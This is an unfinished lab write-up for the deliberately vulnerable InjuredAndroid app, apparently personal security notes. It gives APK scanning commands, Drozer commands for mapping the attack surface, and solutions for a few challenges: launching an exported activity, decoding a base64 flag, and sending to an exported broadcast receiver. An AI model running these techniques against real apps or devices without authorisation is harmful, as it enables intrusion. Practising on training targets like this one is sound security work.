> For the complete documentation index, see [llms.txt](https://sallam.gitbook.io/sec-88/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sallam.gitbook.io/sec-88/write-ups/hacking-labs/injured-android.md). # Injured Android * [ ] Test fo Leaked Secrets with [apkX](https://github.com/cyinnove/apkX) ``` sallam@Mac-mini-Mosaad tools % ./apkx ../apps/InjuredAndroid.apk ```

* [ ] Test for Janus Bug with [j88nx](https://github.com/h0tak88r/j88nx) ``` sallam@Mac-mini-Mosaad tools % ./j88nx -apk ../apps/InjuredAndroid.apk ```

* [ ] Use Drozer for Information Gathering and and Attack Surface Mapping ```bash # Enable drozer agent in the emulator # Starting Session adb forward tcp:31415 tcp:31415 # start the drozer application in the emulator drozer console connect drozer console connect --server # List Modes ls ls activity # Retrieving package information run app.package.list -f run app.package.info -a # Identifying the attack surface run app.package.attacksurface ```

* [ ] **XSS** ``` ```

* [ ] **Challenge 1:** Login Activity

* [ ] **Challenge 2:** exported activity

``` dz> run app.activity.start --component b3nac.injuredandroid b3nac.injuredandroid.b25lActivity Attempting to run shell module ``` * [ ] **Challenge 3**: Resopurce

* [ ] **Challenge 4**: Decoder

``` echo 'NF9vdmVyZG9uZV9vbWVsZXRz' | base64 -d ``` * [ ] **Challenge 5**: Exploit Exported Broadcast Receiver ``` # in drozer run app.broadcast.info -a b3nac.injuredandroid -i run app.broadcast.send --component b3nac.injuredandroid b3nac.injandroid.TestBroadcastReceiver --extra string url hacked ```

* [ ] **Challenge 6:** *